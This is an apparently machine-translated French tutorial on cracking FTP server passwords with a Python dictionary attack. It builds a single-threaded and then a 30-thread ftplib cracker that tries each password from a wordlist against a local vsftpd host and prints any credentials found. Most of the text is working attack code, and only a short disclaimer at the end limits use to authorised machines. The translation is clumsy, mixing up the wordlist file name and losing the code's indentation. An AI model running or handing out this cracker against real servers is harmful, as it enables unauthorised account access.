Apprendre à craquer les serveurs FTP en utilisant une attaque de dictionnaire (volet de brèche avec une liste de mots) à l’aide du module ftplib en Python.
Une attaque à force brutale consiste en une attaque qui soumet de nombreux mots de passe dans l’espoir de deviner correctement. Dans ce tutoriel, vous apprendrez comment vous pouvez forcer brutalement les serveurs FTP en Python.
Nous utiliserons le module ftplib qui est intégré en Python. Cependant, nous allons utiliser le colorama pour l’impression en couleurs en Python :
pip3 install colorama
Maintenant, à des fins de démonstration, j’ai mis en place un serveur FTP dans mon réseau local sur une machine qui fonctionne sur Linux. Plus précisément, j’ai installé vsftpd (dème FTP très sécurisé), qui est un serveur FTP pour les systèmes de type Unix. Si vous voulez faire ça aussi aussi, voici les commandes que j’avais l’habitude de le faire se lever et de se préparer.
root@rockikz:~# sudo apt-get update
root@rockikz:~# sudo apt-get install vsftpd
root@rockikz:~# sudo service vsftpd start
Et puis assurez-vous d’avoir un utilisateur, et la configuration locale-enable-OUI est définie sur le fichier /etc/vsftpd.conf.
Commençons :
import ftplib
from colorama import Fore, init
#initialiser la console pour les couleurs (Windows)
# init()
#nom d'hôte ou adresse IP du serveur FTP
host = "192.168.1.113"
#nom d'utilisateur du serveur FTP, root par défaut pour Linux
user = "test"
#port FTP, alias 21
port = 21
Donc le serveur local est situé à 192.168.1.113, j’ai aussi créé un nom d’utilisateur « test », et puis nous spécifions le port de FTP, qui est 21.
Maintenant, écrivons la fonction de base qui accepte un mot de passe dans les arguments et nous retournons si les justificatifs sont corrects:
def is_correct(password):
#initialiser l'objet serveur FTP
server = ftplib.FTP()
print(f"[!] Trying", password)
try:
#essaie de se connecter au serveur FTP avec un délai d'attente de 5
server.connect(host, port, timeout=5)
#connectez-vous en utilisant les informations d'identification (utilisateur et mot de passe)
server.login(user, password)
except ftplib.error_perm:
#échec de la connexion, informations d'identification erronées
return False
else:
#informations d'identification correctes
print(f"{Fore.GREEN}[+] Found credentials:", password, Fore.RESET)
return True
Rien de spécial, nous initialisons l’objet serveur FTP en utilisant ftplib.FTP() et puis nous nous connectons à cet hôte et essayons de nous connecter, cela soulèvera une exception chaque fois que les identifiants sont incorrects, donc s’il est levé, nous allons juste renvoyer False, et True sinon.
Nous allons utiliser une liste de mots de passe connus. N’hésitez pas à en utiliser, ou vous pouvez générer votre propre liste de mots personnalisée en utilisant Crunch. Cependant, dans ce tutoriel, nous allons utiliser la liste de mots de passe Nmap qui contient environ 5000 mots de passe. Si vous êtes sur Kali Linux, il est situé dans « /usr/share/wordlists/nmap.lst ». Sinon, obtenez-le ici.
Une fois que vous l’avez, mettez-le dans le répertoire actuel et nommez-le motlist.txt et utilisez le code suivant:
#lire la liste de mots de passe
passwords = open("wordlist.txt").read().split("\n")
print("[+] Passwords to try:", len(passwords))
Maintenant, tout ce que nous avons à faire est d’exécuter la fonction ci-dessus sur tous ces mots de passe:
#parcourir les mots de passe un par un
#si le mot de passe est trouvé, sortez de la boucle
for password in passwords:
if is_correct(password):
break
Ce code est correct, mais il est très lent. Il n’utilise qu’un seul thread qui tente une connexion FTP sur chaque mot de passe séquentiellement.
Utilisons des threads pour accélérer ce processus; le code suivant est le code complet qui utilise le multi-threading:
import ftplib
from threading import Thread
import queue
from colorama import Fore, init # for fancy colors, nothing else
# initialiser la console pour les couleurs (pour Windows)
# initialisation()
# initialiser la file d'attente
q = queue.Queue()
# nombre de threads à générer
n_threads = 30
#nom d'hôte ou adresse IP du serveur FTP
host = "192.168.1.113"
#nom d'utilisateur du serveur FTP, root par défaut pour Linux
user = "test"
#port FTP, alias 21
port = 21
def connect_ftp():
global q
while True:
#récupérer le mot de passe dans la file d'attente
password = q.get()
# initialiser l'objet serveur FTP
server = ftplib.FTP()
print("[!] Trying", password)
try:
#essaie de se connecter au serveur FTP avec un délai d'attente de 5
server.connect(host, port, timeout=5)
#connectez-vous en utilisant les informations d'identification (utilisateur et mot de passe)
server.login(user, password)
except ftplib.error_perm:
#échec de la connexion, informations d'identification erronées
pass
else:
#informations d'identification correctes
print(f"{Fore.GREEN}[+] Found credentials: ")
print(f"\tHost: {host}")
print(f"\tUser: {user}")
print(f"\tPassword: {password}{Fore.RESET}")
#nous avons trouvé le mot de passe, vidons la file d'attente
with q.mutex:
q.queue.clear()
q.all_tasks_done.notify_all()
q.unfinished_tasks = 0
finally:
#informer la file d'attente que la tâche est terminée pour ce mot de passe
q.task_done()
#lire la liste de mots de passe
passwords = open("wordlist.txt").read().split("\n")
print("[+] Passwords to try:", len(passwords))
#mettre tous les mots de passe dans la file d'attente
for password in passwords:
q.put(password)
#créer `n_threads` qui exécute cette fonction
for t in range(n_threads):
thread = Thread(target=connect_ftp)
#se terminera à la fin du fil de discussion principal
thread.daemon = True
thread.start()
#
q.join()
Super, il est assez similaire au précédent, mais nous utilisons ici une file d’attente qui est remplie avec la liste des mots de passe au début, et dans la fonction centrale qui est exécutée par ces fils de démon, nous obtenons un mot de passe de la file d’attente et essayons de se connecter avec elle. Si le mot de passe est correct, alors nous devons finir le forçage brut, un moyen sûr de le faire est d’effacer la file d’attente, et c’est ce que nous faisons.
Nous avons également utilisé des fils de daemon, donc ces fils se termineront lorsque le fil principal s’achève.
Voici une petite capture d’écran après ma tentative sur ma machine locale :

C’est plutôt cool, c’est fini. Maintenant, essayez de gâcher avec le paramètre n-threads et voyez si vous pouvez améliorer encore la vitesse du craqueur.
ATTENTION : Utilisez cette attaque sur une machine que vous avez l’autorisation de tester. Sinon, nous ne sommes responsables d’aucun mal à quiconque.
Si vous êtes intéressé par les serveurs SSH à la fin de la forçage par brute, dirigez-vous vers ce tutoriel.